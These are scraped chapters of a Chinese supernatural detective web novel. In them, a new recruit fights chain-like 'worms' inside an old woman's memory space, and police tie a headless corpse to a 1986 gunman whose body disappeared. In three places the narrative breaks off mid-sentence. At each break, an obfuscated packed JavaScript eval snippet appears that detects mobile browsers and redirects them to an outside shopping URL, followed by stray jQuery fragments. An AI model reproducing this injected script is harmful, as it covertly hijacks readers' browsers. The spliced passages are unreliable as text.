“算了,不管了!”方许恩猛然站起身来,抓住身边的锁链,试图攀爬过去。紧跟着,方许恩就觉得后脖颈狠狠挨了一下,他两眼发黑,耳朵嗡嗡响,等到回过神来的时候才发现自己已经摔倒在了一堆铁链中间,嘴里有股甜味。方许恩抹了一下嘴角,摸了一手的血。 方许恩:“……” 说好的只是幻觉呢,幻觉能把人抽到吐出一口血来?方许恩这么想着,却反而比刚才更镇定了一些。他不清楚秦于理是故意考验他还是事情凑巧,但他既然已经决定加入重案组就不可能半途而废,今天就算要死,他方许恩也要死在这片因果空间里! 话是这么说,但身下那堆锁链再次运动起来的时候,方许恩还是无能为力。他发出“啊”的短促惊叫,毫无还手之力地被两截不同方向的锁链分别卷了左手和右腿,整个人以一种滑稽的姿势被悬吊在半空。其余的锁链仍然在缓慢地移动,方许恩此时从半空看下去才惊觉这片空间中的锁链其实一直在运动,它们迟缓地尽量压低了声音的,像无数条蛇一样在这片空间里变换位置,伺机而动。 “当”!一声脆响,又是一根锁链试图卷上方许恩的另一条腿,但却被另一条锁链中途截胡,掉落下去,取而代之的是后者气势嚣张地卷住了方许恩的左腿,现在方许恩只剩下一只右手还能活动了。 “这该不是要把我五马分尸吧!”脑海里浮现的推想让方许恩头皮发麻,他虽然立誓就算死在因果空间里也不退出重案组,但是肯定是不死更好啊。 “啊啊啊!”方许恩在心里发出超过一百分贝的惨叫,但脸上努力维持着镇定,只有苍白的脸色显示着此时他有多害怕。 “不能让秦于理看扁我,我一定要证明自己对重案组是有用的!”方许恩在心里暗暗给自己打气,“得快点想到解决办法,快!秦于理也经常出入因果空间,她是怎么活下来的?她能做到,为什么我做不到?!” 又是几根锁链同时卷向方许恩唯一空着的右手,它们的动作都很快,于是在空中当当当当,就像有看不见的手握着兵器一样互相碰撞、交锋,甚至迸射出火花。多亏它们鹬蚌相争,方许恩才能渔翁……不,是砧板上的鱼得了短暂的生存空间,但这个僵持状态不可能一直维持下去。果然,一根特别粗的铁链开始摇摆游动,它比其他锁链都粗,看起来有成年男人的手臂那么粗壮,那玩意儿要是卷住方许恩的手臂,只要轻轻一裹,方许恩的整条胳膊都会粉碎性骨折。 更糟糕的是,在那条最粗壮的锁链游动的间隙里,方许恩还敏锐地捕捉到了另一种细碎的声响来自他的头顶,他的脑海里几乎是刹那就浮现了一根细巧的铁链组成的吊环小心翼翼地从他头顶往下探的景象,五马分尸、五马分尸,当然不可能只有四根锁链,这些锁链居然也会玩声东击西,底下粗壮的锁链吸引去方许恩的注意力,那根细锁链组成的吊环就能悄无声息地套上方许恩的脖颈。 “死脑子,你快点想啊,到底要怎么办才好!”方许恩急得额头的汗珠大颗大颗冒出,掉落到地上,打到锁链上,发出“嗒嗒”的声响,此时他已经不觉得这里寒冷,反而觉得自己身体里像是有团邪火在烧。那火烧得又狠又凶,烧得他这身衣冠楚楚的皮囊似乎都在尖叫,皮肤像是马上就要皴裂,露出人皮底下藏着的恶鬼! 等等!方许恩想,这里真的是牟老太的因果空间吗? 秦于理的声音说是,可他从头至尾并没有在这里看到秦于理本人,万一那个声音是假冒的呢,万一这里并非牟老太的因果空间呢? 恶鬼披上人皮能装成人,人要是被强行裹上了恶鬼的皮,是不是看起来也就成了恶鬼? 方许恩心念电转,立刻四处张望,锁链、锁链、还是锁链……整片空间里都是锁链,要说哪里有不是锁链的东西,那只有…… “雪!”方许恩抓到重点的时候,最后两根锁链已经同时缠了上来,粗壮的锁链裹住了方许恩的右手,而那个特别凉、也特别细的锁链则套住了方许恩的脖子,方许恩知道,自己是死是活,只在一念之间了! 59.第59章 观察者的使用方法 方许恩抬头看向灰沉沉的天空,刚刚他不怎么在意的时候,雪片似乎到处都有,现在他真的想去寻找了,刚刚纷纷扬扬的雪却不知怎么变小了,空中近乎晴朗,像是雪快停了。 牟老太中邪了,思维记忆都产生了混乱,换言之,她的因果空间也受到了破坏。方许恩的想象力沿着锁链游动发出的噪音在奔涌。 这里可能还是牟老太的因果空间,但已经不是正常的因果空间了,因为牟老太的记忆影像被那些铁链所破坏。它们也许本来是一栋房子、一片湖泊、一棵树乃至是一朵花、一根草,但因为被外力侵占、粉碎,它们统统变成了细碎的雪粉,无根无靠的在这片空间里四散。难怪方许恩刚才看到那些雪沫既不会积累起来也不会化作水,因为它们在“死”,从牟老太因果空间的空中飘落到地面消失不见的那段时间,已经是它们最后存在的证明! 方许恩一下子慌了,锁链已经将他四肢全都紧紧缠住,他像是在跳某种滑稽的舞蹈被扯出张牙舞爪的奇怪姿势悬停在半空,与此同时,一根完全生锈了的棕褐色的细锁链从上方落下,宛如毒蛇一般精准套上了他的脖子并沿着方许恩的脖颈开始往里收紧。不用多久,方许恩要么被分尸,要么被绞死,更可能是两者同时发生,而他的生机仅仅在于是否能够在死前抓到牟老太因果空间中的一片雪花。 方许恩并没有受过重案组调查员的系统训练,他现在所想所做的一切其实都来自本能和之前与秦于理共同趟过朱平案的短暂经历,他也不知道自己这么想对不对,更不知道自己做不做得到,但他知道,如果再坐以待毙,他一定会死! 哪怕再绝望,总要做点什么! 于是,方许恩用力伸出手,又更用力去够空中飘落的雪花! 雪花的数量真的变少了很多,它们三三两两的懒洋洋地飘洒下来,不知道是有意无意,它们掉落得并不均匀,总是绕开方许恩能够够到的范围从他外侧咫尺范围滑过,像在戏耍他。 地面上的锁链喀啦啦地游动,速度变快了很多,像是在嘲笑方许恩的失败!方许恩听到了、听懂了,但勉力保持镇静。 这些外来的锁链是侵入者,它们或许遵照某种意志或是设定好的程序在运作,但牟老太的因果空间不是,那是牟老太一生走过的记忆影像,哪怕已经被打碎变成东一片西一片的碎片,它们的飘落也应该是随机的,也就是说,方许恩哪怕停留在原地,只要等待的时间足够久,总有够到雪花的那一刻,可问题是,现在的他有足够的时间用来等待吗? 方许恩的呼吸很快变得痛苦,双手双腿被锁链缠住的地方已经疼得近乎麻木,他怀疑那些锁链正在试图绞碎他的骨骼,但和几乎要爆炸的肺部,像是被压着一座大山的胸腔比起来,那些痛苦反而不算什么了。 细细的锁链再次加快了收缩速度,它已经嵌进了方许恩的皮肉里,此时的方许恩完全没了阳光男大的清爽样子,他头发凌乱,脸孔涨红甚至发紫,眼球微凸,额头青筋冒出,如果他就这么死去,一定是副非常标准的吊死鬼模样! 方许恩下意识想要伸手去拉扯缠在自己脖子上的锁链,可手脚略微一动,那些缠着他四肢的锁链就又往里收紧一分。 他要死了吗?方许恩的眼前蒙上了一层黑雾,他想着难道这就是秦于理所说的“此门一入深似海”,几乎无人能全身而退?可这也太快了吧,他才刚跨进门,连站都没来得及站稳,难道就要交代在这里了? “方许恩!” 突然响起在耳边的叫声让方许恩一下子清醒过来。 “秦于理?” “方许恩,你就这点本事吗?”秦于理的声音不像刚刚那么飘忽不定,此时似乎在极近的地方,就凑在他的耳边说话。方许恩甚至幻觉自己的身后就站着秦于理,女人用冰凉修长的双手抱住他的胸膛,将他扣在怀里,蔷薇色的嘴唇贴着他的耳朵,一字一句地交代,像个死神! “方许恩,你忘了吗,你是个观察者!” 方许恩涣散的神智再次被拉回来。 “观察者……我是观察者……” 没错,方许恩想起来了,在朱平的因果空间中,他曾经进入过一间小黑屋,在里面看到了播放秦于理、秋樰生实时处置画面的监控屏。那时候秦于理就说过,他是名观察者,可是,方许恩想,可是他怎么知道观察者的力量在因果空间里要怎么使用?!上一次他可是被动进入因果空间,还一进去就看到了小黑屋啊! 秦于理的声音再次响起,说出令方许恩更绝望的话语,她说:“完全体的观察者已经许多年没出现过了,我教不了你什么,但如果你能使用出自己的力量,这些蠕虫就无法欺骗你,更无法伤害你!” “蠕……虫?” “那些搅扰牟老太因果空间的东西,我不知道现在在你眼里那些东西是什么样的,因为我这次没有进入。牟老太的因果空间出了问题,几乎要塌了,如果我进入,整个因果空间会在瞬间坍塌,但巧的是,重案组刚好遇到了你,我这次出外勤也带上了你,能在此时进入其中的只有观察者,也就是说现在能够清理掉那些蠕虫,帮助牟老太恢复正常……不,至少是恢复平静的人只有你,所以你必须自己想出办法!” 方许恩本来就喘不过气来,现在觉得更憋闷了。他本以为秦于理是来增援的,没想到她只能在外面给他刷个应援Buff搞气氛…… 方许恩:“……” 一时之间,方许恩居然不知道该笑还是该骂。 秦于理的声音再次响起:“你没时间了,从现在开始,我不会再打扰你了。”她顿了顿,“现实见。” 现实……方许恩瞬间打了个冷战,像是被一盆冷水从头淋到尾,他回过神来才发现自己此时仍有挣扎的空间。四肢虽然被卷得死死的,但脖子上的锁链其实并没有真的勒进肉里,他刚刚濒死的感觉似乎只是个提前的预演。然而,还没等方许恩庆幸,那根脖子上的锁链骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732041|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收紧,憋到快要爆炸的感觉再次席卷而来。 “Damn it!”方许恩痛骂,他好像知道观察者是怎么回事了,他提前预判了将会发生的事情甚至提前幻感到了。问题是,光是知道事态走向对于解决眼下的困境有什么帮助? 等下,方许恩突然意识到,如果他能预判这个因果空间里各个因素的变动,他难道无法预测空中雪花飘落的规律,无法看到自己如何才能在这个位置得到雪花? 方许恩再次抬头搜寻空中。熟悉的黑雾再次从眼底开始蔓延,方许恩知道自己马上就要失去正常视野了,这次是真的要完了,除非他能看穿这里的一切! “锁链是蠕虫,蠕虫是什么?虫子?病毒,对,病毒!”方许恩想,如果牟老太的因果空间原本是个程序,那么这些蠕虫就是电脑病毒,它们侵占了这里并迅速传染,就像白蚁一样啃噬牟老太因果空间的梁柱家具,把这里变成了一片废墟。 方许恩突然意识到他刚刚犯了一个错误。他居然试图去够那些蠕虫啃噬过后剩下的沫沫,并把那当成了破局的关键。虽然那些雪沫的确是牟老太记忆光影的一部分,但却是七零八落不成片段的部分,就算方许恩真的费劲千辛万苦够到了其中一片,就算他再次真的进入了牟老太因果空间中的小黑屋,他能看到的或许也只有监控屏中一闪而过的一帧画面,根本无法起到了解的作用,更不用说将这里理顺、归置,恢复到原来的模样。 方许恩在这时候蓦然明白了,秦于理为什么说此时她不便进入而方许恩可以,因为观察者能看到这个空间的真实样貌。 牟老太的因果空间或许被蚕食得七七八八了,但那些蠕虫并没来得及撤退,它们还在这里,一边欢快地啃咬着为数不多的“记忆”,一边还试图将方许恩困死在这里!方许恩忍不住想,他怎么会那么愚蠢呢,牟老太的因果空间明明还在,只是那些线索、片段、前尘往事此时东一块西一块地被吞进了蠕虫们的肚子里,他要做的根本不是去接住最后剩下的那些边角料,而是把这些虫子开膛破肚,全部打爆! 不知道是不是察觉了方许恩的变化,突然间,整个空间里原本正在欢快蠕动的蠕虫们同时一僵。尤其是最后缠住方许恩右手的那根粗粗的锁链,方许恩此时看过去,锁链在他眼里一花,接着变成了一条胖嘟嘟肉乎乎的蚕宝宝一样的大白虫子。 方许恩:“yue……” 方许恩忍着反胃的感觉,作为一名英国长大的华裔,他自然看过贝爷荒野求生的全纪录,也没少见贝爷野外没东西吃抓虫子充饥的画面。没想到风水轮流转,此时此刻此地,他成了荒野求生方许恩! 方许恩的眼睛里放出凶光,那条缠着他右手的蠕虫本来就感觉到不对,抬起了“脑袋”,原来那才是所谓锁链铁锈的真面目。方许恩一咬牙,用五指紧紧攥住那条蠕虫拉过来,一口狠狠咬了下去! “唧~~~~”牟老太的因果空间里响起了一连串绵延的惨叫! 60.第60章 陈年旧案 方许恩蓦然睁开眼睛,大口大口地喘息着翻身坐起,眼珠子骨碌碌地乱转,像中了邪一般时不时翻出眼白。 “方许恩,看我的手指。”秦于理在他眼前伸出一根手指。 方许恩的眼珠子不停地滚动,一开始怎么也定不下来,但秦于理摁住他的后脑勺,强行将他的脑袋固定在原地,手指也杵到了方许恩的脑门上,方许恩于是终于没法逃避。原本左右乱转的眼珠像一对丢进骰盅里的骰子骨碌碌滚动着、碰撞着,用尽所有动能后,终于逐渐稳定下来。 “呕——”方许恩发出干呕声,他的背脊刚刚拱起,秦于理已经一把捏住了他的嘴唇。 方许恩:“唔?呜呜……” 秦于理:“厕所在楼下,下楼右转往前十米,听明白了吗?” 方许恩点头。 秦于理说:“不许吐在走廊上,3、2、1!” 方许恩像听到发令枪响的运动员,秦于理一松手,他便捂着嘴夺路狂奔,木头楼梯上传来他踩踏楼板发出的咚咚咚咚声,急促而有劲。 霍殊走了过来,手里拿着手机说:“120在来的路上了,大概十分钟左右能到。” 两人的眼神同时投向了蜷缩在墙角一侧的牟老太身上。老人此时佝偻着身躯,紧闭眼睛一动不动,面如死灰,她的额头、心口、左右肩膀各贴着一张符纸,是霍殊的杰作。 只有人之将死的刹那,此人的因果空间才会打开,调查员才能进入看到其人走马灯一般的前尘往事,牟老太最近没日没夜忍受着发狂的辛劳,刚刚又拼尽全力袭击方许恩,这连一般青壮年都未必承受得住的强度,对她的身体显然造成了极大的不可逆伤害,哪怕第一时间送进医院,能不能存活下来还是要看她的运气。 秦于理冷冷地对霍殊说:“你算计了我们。” 霍殊则回答:“我也没料到事态发展得那么快。” 就像之前霍殊自己说过的那样,他不是不能帮牟老太,但此时他出手只能出狠招,牟老太一定会受到巨大伤害,霍殊在这一点上并没撒谎,但他没说的是,刚刚的牟老太,不管是重案组还是轻案组,谁出手都会引起不可逆的多米诺骨牌效应,只不过现在,造成这个结果的人换成了重案组,也就是说,重案组替霍殊承担了这一因果。 秦于理看着霍殊,心里默默将这个人拉入了黑名单。 霍殊说:“昨晚城隍老爷托梦给我,是他要我喊你们来的,里头一定有他的道理。” 秦于理说:“放屁!” 外头传来嘀唔嘀唔的救护车警报声,应该是120已经抵达庙门口,方许恩也在此时萎靡不振地擦着嘴,拖着腿,重新爬了上来。他不停地舔着嘴唇吐着舌头,似乎仍然在恶心反胃,但已经吐不出什么东西了。 霍殊说:“牟女士这里后续的事情我会处理,你那位同事应该得到了不少线索,你们可以先走,当然,如果你们想留下烧香拜拜的话,也欢迎之至。” 正说着,下面有人喊霍殊:“师父,救护车来了,说是您报的警,您在哪儿呢?” 霍殊打开走廊上的窗户朝下挥了挥手:“让他们上来。”没一会儿就有两名医护人员拿着担架急救包,跟在一名道士后头跑了上来,那领路的道士赫然正是刚刚秦于理两人看到的在城隍殿里替人解签的那位老道士。 “师父。”老道士对着年纪几乎可以当他孙子的霍殊恭敬行礼。 “病人在哪儿?”医护们可没工夫讲礼数。 “这儿。”霍殊对秦于理做了个手势,秦于理便拉着方许恩让到一边,从另一个方向下了楼。 走出城隍庙,被冷风吹了一下,方许恩终于似乎舒服了点。他打了个响亮的嗝,终于感觉把胃里的酸气都排空了,一回头,却看到秦于理手里拿着一根粉嘟嘟,Q弹弹,路边摊买的——淀粉肠。 秦于理说:“都吐空了,要不要补点儿?” 方许恩:“呕……” 方许恩快速冲到路边,蹲下身再次干呕起来。秦于理莫名所以,最后跟过去,谨慎地站在一边看方许恩干呕。 秦于理说:“你那么讨厌淀粉肠吗?” 方许恩:“我不是……呕……” 秦于理:“2块5一根呢,你不吃我吃。” 方许恩:“呕——” 反复了几次,方许恩才终于止住了恶心,他精疲力尽地爬到路边小店买了瓶矿泉水给自己漱了漱口,跟着喝了几口水。 此时,秦于理已经把那根淀粉肠吃完了,她皱着眉头似乎在回味那根肠的味道,末了做出评价:“不怎么好吃。” 方许恩说:“我吃的东西才是真不好吃!” 秦于理说:“你吃什么了?在哪儿吃的?我怎么不知道……”她说到这里,微微一怔,恍然大悟,“哦哦哦,你吃蠕……” 这次换方许恩一把捂住秦于理的嘴,算是一报还一报,他拿自己这位队长真没辙,只能哀求:“求求,别说了,不然我又要吐了!” 直到秦于理点点头,方许恩才拿开了捂住她嘴的手。 秦于理说:“那你吃甜杆吗,我刚刚看有老乡在路边卖。” 方许恩:“……行、行吧。” 过了会儿,秦于理拎了一兜子砍好的甜杆过来,大方地抓了几根给方许恩。大概是因为甜杆是硬的,还散发着植物才有的香气,这次方许恩接受程度高多了。他学着秦于理,用牙齿将甜杆的皮一根根从上往下撕掉,然后咀嚼里面的茎秆,吮吸清甜的汁水。 不远处,救护车再次发动,红蓝两色的顶灯旋转跳跃,司机打开车窗驱赶人群:“让让、让让,有危重病人!”人们纷纷往路边闪避,救护车在人群中灵活地穿梭,很快便消失得无影无踪。而此时,方许恩和秦于理正坐在路边的石墩子上,沉默不语地库库炫甜杆。 默默吃了好一会儿,方许恩才长舒一口气说:“终于活过来了。” 秦于理说:“你刚刚真的吃蠕虫了?” 方许恩:“……”方许恩赶紧又灌了自己几口水,压下了那股想吐的冲动说,“那些蠕虫把牟老太的因果空间嚼了个稀巴烂,还想把我分了吃了,我当然要反击!” 秦于理说:“但你是我第一个见过的吃蠕虫的人!” 方许恩愕然:“以前没有吗?那你们都怎么对付蠕虫?” 秦于理说:“因果污染到那么厉害的程度,基本上就是没救了,只能结束苦主的生命,等他/她死了,蠕虫没了宿主,也就跟着一起消失了,毕竟那本来就不是什么实质性存在的生物。” 方许恩说:“那它们到底是什么?” “因果污染啊,或者叫精神污染、记忆污染,都行。反正就是会让人生病的东西,从身体到脑子到灵魂。”秦于理说,“我刚刚不是跟你说了吗,完全体的观察者好多年没出现过了,我也没想到你们观察者的力量还能这么用!”她拍拍方许恩的肩膀说:“虽然你只是个临时工,但是还挺有用的!” 方许恩忍不住苦笑。他铆足了劲想要证明自己对重案组是个有用的人,好让自己地位稳固,在重案组里长期留下来,没想到才没几天就达成了目标,更没想到,达成目标的方法是生嚼蠕虫…… “Yue……”方许恩不想再回想了,他觉得自己至少有一个月,不,一个季度不能吃那种圆条形的食物! 秦于理说:“好了,该说说你刚刚看到什么了,那应该是某起重生案件的部分线索。” 虽然看霍殊不顺眼,在心里已经把对方画上了黑叉,但秦于理其实认可他的说法,重案组今天会出现在城隍庙,遇上牟老太,特别是还带上了刚刚自己送上门来加入重案组的观察者,这之间必然存在这一根看不见、摸不着的因果线,但这事如果要细究就会让人觉得很没意思,所以秦于理选择性无视了它。 方许恩嘴巴张合了几次,才说:“我好像看到了一桩谋杀案。” “谋杀案?谁谋杀谁?”秦于理问。 “牟老太的丈夫可能被人杀害了。那应该是很多年前,我看到一座飘着雪的城市,夜里,有人在放鞭炮焰火,牟老太那时候还挺年轻,她丈夫吃完饭说要回单位值班,骑着车子走了,再后来……再后来她丈夫就失踪了,一直没回来。牟老太到处找他,到处找,就是没人知道他去了哪里。牟老太可能思念成疾,疯了,在她的记忆里出现了幻觉,她幻想出白茫茫的天地间有只巨大的恶鬼张大了嘴,脑袋露在地面上,她丈夫骑着车钻进了恶鬼嘴里,然后就被吃掉了,什么也没剩下!” 回想起自己刚刚目击的那一幕,方许恩忍不住的颤抖,那样非现实的一幕,不知为何却充满了真实性,甚至连那只恶鬼的铜铃大眼、喷着火的血盆大口,还有每一根在风中舞动的暗红色鬃毛都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想起自己离开警局前曾经嘱咐小陆如果金鑫大楼无头男尸案有什么最新进展,一定要第一时间告诉他,不管隔壁支队姚永那个老六,秋樰生赶紧闪到一边小区绿化带里,偷偷摸摸接起电话。 “喂,小陆……” “秋队,秋队,有大进展了!”那头小陆的语气让秋樰生很不满意。 “有话好好说,别一惊一乍的!” 小陆刚要出口的话语只得又憋了回去,话筒里传来他起伏的呼吸声,似乎在调节情绪。 秋樰生说:“行了,到底什么事?” 小陆说:“秋队,那具无名男尸,金鑫大楼那具无名男尸的DNA比对上了!” 秋樰生顿时松了口气,DNA能比对上,说明找到了尸源,死者还八成是有犯罪前科登记在案的人员,这对后续案情处置有很大的推动作用。 秋樰生说:“比对上了谁?” 小陆说:“哦,其实不是比对上了本人,但通过Y-STR基因检测技术,我们发现这具无名男尸的DNA和一名叫作刘庆利的男性是同一父系家族关系很近的亲属。” Y-STR基因检测技术最近几年被广泛应用于法医学亲缘鉴定、家系排查等,通过锁定男性Y染色体的遗传属性,可快速识别该家族父系传承脉络,该技术最广为人知的一次应用是在2016年帮助警方一举破获了空悬28年的白银连环杀人案,一战成名。 秋樰生疑惑:“刘庆利是谁,我好像有点印象,但记不起来了。” 小陆说:“刘庆利是白城人,年轻时候是个出了名的地痞流氓,曾经因为打架斗殴在白城警局DNA库里留下了记录,现在年纪大了应该折腾不动了,户籍信息显示他在做小本买卖,小周已经去联系白城那边了解情况了!” 白城?秋樰生忽然想起什么,问:“刘庆利是不是还有个堂兄弟?” “嗯?”小陆纳闷。 “你查一下他的直系亲属。” 那头传来小陆敲打键盘的声音,过了会儿,他发出了惊讶的叫声:“秋队,他是……他是1986年被击毙的悍匪刘克爽的堂兄弟!” 刘克爽……秋樰生的脑子里突然间划过一道闪电,他想起刚刚在武家二楼看到的照片,郑金虎刚刚是怎么说的来着,说武局1987年春节前参加了全国公安干警系统的表彰大会,拿到了个人二等功。秋樰生脑海里迅速调出记忆,他想起来了,武东青当年就是抓捕刘克爽的干警之一! 61.第61章 山雨欲来 公安系统内部存在着不少封存的老卷宗,它们有的因为发生时间久远,当时缺乏足够的条件采集和分析物证,后续想要弥补却失去机会,导致案情不得不搁置,时至今日也不能破,有的则从根本上就没有追查下去的必要,比如1986年悍匪刘克爽被击毙后尸体失踪的事件。 将近四十年前,位处北方寒冷地带的白城中无声无息地出现了一伙亡命之徒,他们具有高度的组织性和严密的纪律性,凭借手里掌握的两杆长筒猎枪和一把五四式手丨枪在当地打家劫舍,为非作歹,祸害一方。当地老百姓深受其害,到了夜间家家闭门锁窗,不敢发出一点动静,整座城市都笼罩在恐慌的氛围中。 白城公安机构经过一个多月的跟踪追查,终于掌握了犯罪团伙的基本信息,得知这伙悍匪的头目是一名叫做刘克爽的退伍军人,因转业分配问题与负责干部发生口角并大打出手,致人伤残,出狱后,他发现妻子改嫁,老母无人照顾在家,孤独病逝,因此仇恨社会,从此走上犯罪的不归路,宣称将用尽毕生之力,抢掠巨额财富打造一个地上理想国,让和他一样被社会欺负的“老实人”能有个避风港。 警方得知消息后,制定了一出“擒虎计划”,放出将有巨额现金从白城转运去外省的风声,暗中布控,设下天罗地网,誓要将刘克爽匪帮一网打尽。刚开始一切都进展顺利,刘克爽虽然生性狡猾,但经过几次试探和卧底警察的里应外合,狡猾至极的刘克爽也终于相信了这是一笔足够划算的大买卖,因此倾巢出动,带着五名手下沿路跟踪运钞车,伺机在运钞车出白城,进吉城之前的国道上三不管地带,动手打劫。 然而,谁也没想到,就在运钞车即将驶出白城,刘克爽一伙枪械上膛,打算动手的时候,发生了一起意外事件。一名当地妇女抱着突发疾病的孩子突然蹿上国道拦车求救,刚好拦住了刘克爽一伙的车。眼见运钞车即将离开,刘克爽勃然大怒,掏枪射杀拦路妇人,原本作为内应的卧底警探实在无法坐视无辜的妇女孩童枉死,被迫出手,被刘克爽杀害。周围埋伏的警察发现情况不妙,只得提前行动。 那日雪下得很大,天色阴沉像一床板结的厚厚的破褥子压在每个人头上。警方与刘克爽团伙发生了枪战,混乱中,多名干警受伤,刘克爽团伙的四名罪犯两死两伤,被警方抓获。然而刘克爽却在危急关头突然拿出了一柄AK丨47,向警方连续扫射,打穿包围圈,和最后一名手下夺路狂奔。他们从国道偏离,驶入林区,一路横冲直撞,最后抵达了白山脚下一座叫红星的国营农场里。 由于此时正值过年前夕,农场中所剩人手不多,且大多是老弱妇孺,刘克爽关上农场大门,挟持10名人质,布置拒马、炸药、铁丝网等物,负隅顽抗。白城公安不得已之下求助当地武警部队,共同实施斩首行动。双方从集合完成到发起总攻到完成围剿总共经历了两小时四十八分钟的枪战,10名人质均在交火中被波及,刘克爽唯一手下被击毙,他却在被打伤了一手一腿的情况下,单手持枪挟持了唯一活下来的人质小孩,退进白山之中。 白城公安打散编制,三人一组进山搜寻,其中一组在天将擦亮的时候发现了躲在树上的刘克爽,双方交手,可惜三名干警为保护人质无法施展手脚,最后英勇牺牲。交火的声音吸引了附近一名与自己小队走散的年轻干警,此人循声而至,与刘克爽发生正面碰撞,经过一番苦战,以命换命,在身受重伤的情况下终于将刘克爽击毙,而这人就是后来被授予二等功勋章的武东青。 秋樰生从考上警校开始便投入了大量精力浏览新中国建立以来公安系统大量卷宗案例,对这起惊天大案的印象不可谓不深刻。一方面是因为刘克爽本人的经历可谓一波三折,充满了戏剧性,另一方面也是因为刘克爽谢幕之后居然仍留有疑云。 当年,武东青所在小组的其他干警听到枪响后,循声找了过来,终于在武东青丧命之前发现了他的踪迹,警方高层接到报告后紧急调动直升机,将武东青和那名被击毙的悍匪一同送到了白城第一人民医院。在那里,武东青被安排接受该医院被誉为第一把刀的专家手术,而刘克爽则被运到太平间,等待法医检查。 此时刘克爽被击毙的消息已经传出,红星农场死伤惨重,又发生了持续一天一夜的枪战与搜山,各种麻烦事全都聚到了一起,当地政府和公安部门焦头烂额,疲于应付,直到当天晚间,武东青手术成功,被推出抢救室,所有人心头才放下了一块大石。白城公安局法医抵达,前去领取刘克爽尸体,谁知道原本好好躺在太平间冰柜里的刘克爽居然不知所踪。这一发现,几乎把所有人的魂都吓飞了。 刘克爽先后经历国道围堵、农场枪战和密林厮杀,给在场执行任务的很多干警都留下了不可磨灭的深刻印象,尤其是他在部队时曾有赴越南战斗的经历,具有出色的单兵作战能力和反侦察意识,其手段吊诡,枪法奇准,数次干警们以为即将成功又被他侥幸逃脱,让人不由产生了这家伙或许根本不是人的可怕联想,这一次尸体不翼而飞更是让所有人如临大敌。整个白城公安系统一时间风声鹤唳,草木皆兵,然而,随着时间的推移,刘克爽逃跑的痕迹却始终未被发现,刘克爽本人也音讯全无,再未出现。又因为那具尸体没来得及详加检验,公安系统的罪犯DNA库里就此缺失了十分重要的一笔。 光阴流逝,白城公安的干警退休一批批,新上来一批批,武东青也在荣立二等功后经历数次提拔调动,最后在隀明市安了家,并且平平安安活到了退休。谁也没想到,刘克爽这个名字会在这个节骨眼再次出现在公安干警们的视野。 秋樰生看向不远处站着的武东青,这名老刑侦此时面容严肃,眼神深沉,抱着双臂,一圈圈仔细扫视这座自己居住多年的小区,试图发现有用的线索,可不管再怎么厉害,他毕竟已是名六十多的老人。 武东青的确曾半生戎马倥偬,沐浴枪林弹雨,可伴随着打黑除恶行动的成果不断累积,社会治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738404|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安防控手段的不断提升,如今的国内早已不复八九十年代鱼龙混杂的景象,什么车匪路霸飞车党敲头帮早已经成为褪色的都市传说,只在网络作者们想要创作年代刑侦文的时候,才会从历史的垃圾堆中将他们翻出来抖落灰尘,亮一下相,而当今生活在路不拾遗,夜不闭户和平年代的年轻人们根本想象不到曾经他们的上一代和上上一代走在路上都有可能随时面临被人抢劫伤害的危险。 如果当年刘克爽没有死而是隐匿起来了呢,如果在这个时候,刘克爽找上门来寻仇呢? 秋樰生想到这里,不由得打了个冷战。似乎是察觉到了他的目光,武东青转头看向秋樰生,眼神中带着询问。秋樰生赶紧收回目光,拿着手机走到一旁,压低声音问:“无头男尸的基本信息都有了吗?” “有。”那头小陆敲打着键盘汇报,“男,年龄45-50岁之间,身高约1米7,常年从事重体力劳动,死亡原因是失血过多。” 果然不是! 有过一瞬间,秋樰生怀疑过无头尸体会不会就是当年失踪的刘克爽,但1986年刘克爽被击毙之时,刚好25岁,39年过去,哪怕他真的还活着,现在也已经是名64岁的老人,那具无头男尸显然不是他。随后,秋樰生又意识到自己犯了一个逻辑错误,无头男尸不是刘克爽,只是刘克爽和其堂兄弟刘庆利的同族,这根本对武心童失踪的案件半点裨益也无。一名64岁的老男人,如果身体保养得当,依然有能力可以制伏一名年仅10岁和平年代成长起来的天真男童,也就是说,如果当初刘克爽没死,一直活着,那么现在他回来找武东青复仇的可能性并不是没有。 秋樰生的神经愈发绷紧,随后他意识到了不对劲,问小陆:“你说死者是因失血过多而死,不是因为腹部的贯穿伤或是砍头吗?” 小陆说:“李法医说,尸体死亡时间在48小时-72小时之间,死者体内血液不正常的大量流失,致死的根本原因是缺血性休克造成的器官衰竭,至于腹部的贯穿伤和颈部的伤口都是在人还没完全走的时候留下的,他还在尸体颈部动脉检测出一个开放性楔形切口,李法医推测,死者在生前可能被凶手切开颈动脉插入导管放过血,在人已经快不行的情况下才被斩断了头颅,还打了两枪。” 